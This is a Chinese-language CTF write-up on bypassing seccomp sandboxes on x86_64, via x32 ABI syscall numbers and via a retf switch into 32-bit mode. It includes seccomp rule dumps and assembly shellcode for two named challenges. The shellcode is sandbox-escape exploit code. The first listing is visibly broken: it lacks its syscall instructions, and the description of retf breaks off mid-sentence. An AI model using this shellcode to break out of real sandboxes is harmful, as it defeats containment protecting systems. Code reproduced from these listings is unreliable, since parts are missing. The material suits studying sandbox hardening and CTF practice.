关于沙箱 沙箱是pwn题目中常见的、增加难度的手段。可以用seccomp()或prctl()设置规则过滤不符合要求的syscall,具体包括限制系统调用号(如禁用execve)、架构(如禁用32位模式)、系统调用参数的具体值(如要求read的fd小于3)等。
关于一道题目具体的限制,可以使用seccomp-tools 查看。
关于绕过 由于pwn题目只需要读到flag,而不一定需要getshell,所以最常见的绕过方式是orw,即通过open, read, write的方式输出flag内容。除此之外,也可以使用openat, readv, writev的系统调用完成orw。
本文将探讨在x86_64架构下,当orw的系统调用均不可行时,利用系统对32位程序的支持,绕过沙箱的两种方法。
第一种方法:调用x32 ABI x32 ABI x32 ABI是ABI (Application Binary Interface),同样也是linux系统内核接口之一。x32 ABI允许在64位架构下(包括指令集、寄存器等)使用32位指针,从而避免64位指针造成的额外开销,提升程序性能。然而,除跑分、嵌入式场景外,x32 ABI的使用寥寥无几。前几年曾有过弃用x32 ABI的讨论,但其被最终决定保留,并在linux kernel中保留至今。
利用 利用方式 x32 ABI与64位下的系统调用方法几乎无异,只不过系统调用号都是不小于0x40000000,并且要求使用32位指针。
具体的调用表可以查看系统头文件中的/usr/src/linux-headers-$version-generic/arch/x86/include/generated/uapi/asm/unistd_x32.h
1 2 3 4 5 6 7 8 9 10 11 #ifndef _UAPI_ASM_UNISTD_X32_H #define _UAPI_ASM_UNISTD_X32_H #define __NR_read (__X32_SYSCALL_BIT + 0) #define __NR_write (__X32_SYSCALL_BIT + 1) #define __NR_open (__X32_SYSCALL_BIT + 2) #define __NR_close (__X32_SYSCALL_BIT + 3) #endif
其中,__x32_SYSCALL_BIT
为0x40000000,由头文件/usr/src/linux-headers-$version-generic/arch/x86/include/uapi/asm/unistd.h
定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #ifndef _UAPI_ASM_X86_UNISTD_H #define _UAPI_ASM_X86_UNISTD_H #define __X32_SYSCALL_BIT 0x40000000 #ifndef __KERNEL__ # ifdef __i386__ # include <asm/unistd_32.h> # elif defined(__ILP32__) # include <asm/unistd_x32.h> # else # include <asm/unistd_64.h> # endif #endif #endif
利用条件 允许调用号不小于0x40000000的系统调用
例题 [TSCTF-J 2022] Easy Shellcode(非预期解) 程序文件
题目沙箱:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x14 0xc000003e if (A != ARCH_X86_64) goto 0022 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007 0006: 0x06 0x00 0x00 0x00000000 return KILL 0007: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0011 0010: 0x06 0x00 0x00 0x00000000 return KILL 0011: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0013 0012: 0x06 0x00 0x00 0x00000000 return KILL 0013: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0015 0014: 0x06 0x00 0x00 0x00000000 return KILL 0015: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0017 0016: 0x06 0x00 0x00 0x00000000 return KILL 0017: 0x15 0x00 0x01 0x00000025 if (A != alarm) goto 0019 0018: 0x06 0x00 0x00 0x00000000 return KILL 0019: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0021 0020: 0x06 0x00 0x00 0x00000000 return KILL 0021: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0023 0022: 0x06 0x00 0x00 0x00000000 return KILL 0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
程序直接执行输入的shellcode,但在执行前会清空大多数通用寄存器。
思路:
因为没有限制sys_number<0x40000000,所以可以直接调用x32 abi,shellcode如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 lea rax,[rip] add rax,0x200 mov rsp,rax ; 因为rsp被清空,先将栈迁移至可读写位置 mov eax,0x67616c66 ; 'flag' push rax mov rdi,rsp xor rsi,rsi mov rax,0x40000002 ; open syscall mov rdi,rax mov rax,rsp add rax,0x100 mov rsi,rax mov rdx,0x40 mov rax,0x40000000 ; read syscall mov edi,2 mov rax,0x40000001 ; write syscall
第二种方法:使用32位模式 32位模式 32位模式即64位系统下运行32位程序的模式,此时CS寄存器的值为0x23。在该模式下,程序与在32位系统中运行几乎无异,即只能使用32位寄存器,所有指针必须为32位,指令集为32位指令集等。
与之相对地,64位模式对应的CS寄存器的值为0x33。
进入32位模式 进入32位模式需要更改CS寄存器为0x23。retf (far return) 指令可以帮助我们做到这一点。retf指令相当于:
需要注意的是,在使用pwntools构造shellcode时,需要指定retf的地址长度,即可以使用retfd和retfq。
利用 利用方式 因为进入32位模式后,sp, ip寄存器也会变成32位,所以需要将栈迁移至32位地址上;利用或构造32位地址的RWX内存段,写入32位shellcode;最后在栈上构造fake ip, cs,执行retf指令。
利用条件
沙箱中不包含对arch==ARCH_x86_64的检测
存在或可构造32位地址的RWX内存段
其中,构造RWX内存段可使用mmap申请新的内存,或使用mprotect使已有的段变为RWX权限。
例题 [CrossCTF Quals 2018] Impossible Shellcoding 程序文件
题目沙箱:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x00 0xc000003e /* no-op */ 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x0c 0x00 0x40000000 if (A >= 0x40000000) goto 0016 0004: 0x15 0x0b 0x00 0x00000002 if (A == open) goto 0016 0005: 0x15 0x0a 0x00 0x00000101 if (A == openat) goto 0016 0006: 0x15 0x09 0x00 0x00000055 if (A == creat) goto 0016 0007: 0x15 0x08 0x00 0x0000003b if (A == execve) goto 0016 0008: 0x15 0x07 0x00 0x00000039 if (A == fork) goto 0016 0009: 0x15 0x06 0x00 0x0000003a if (A == vfork) goto 0016 0010: 0x15 0x05 0x00 0x00000142 if (A == execveat) goto 0016 0011: 0x15 0x04 0x00 0x00000038 if (A == clone) goto 0016 0012: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0016 0013: 0x15 0x02 0x00 0x0000009d if (A == prctl) goto 0016 0014: 0x15 0x01 0x00 0x0000009e if (A == arch_prctl) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x06 0x00 0x00 0x00000000 return KILL
思路:
程序没有限制arch,所以先mmap一段内存空间,迁移栈,再读入32位shellcode,最后转为32位模式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 xor rax, rax mov al, 9 mov rdi, 0x602000 mov rsi, 0x1000 mov rdx, 7 mov r10, 0x32 mov r8, 0xffffffff mov r9, 0 syscall ; mmap for new stack mov rax, 0 xor rdi, rdi mov rsi, 0x602190 mov rdx, 100 syscall ; read x86 shellcode xor rsp, rsp mov esp, 0x602160 mov DWORD PTR [esp+4], 0x23 ; set CS register mov DWORD PTR [esp], 0x602190 ; set new eip retfd
参考资料 https://en.wikipedia.org/wiki/X32_ABI
https://www.anquanke.com/post/id/219077
https://osilayer8.makerforce.io/crossctf-quals2018/pwn/impossible_shellcoding/
http://p4nda.top/2018/07/27/CISCN-Final/
https://a1ex.online/2020/09/27/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
https://blog.wingszeng.top/pwn-shellcode-and-syscall/
https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html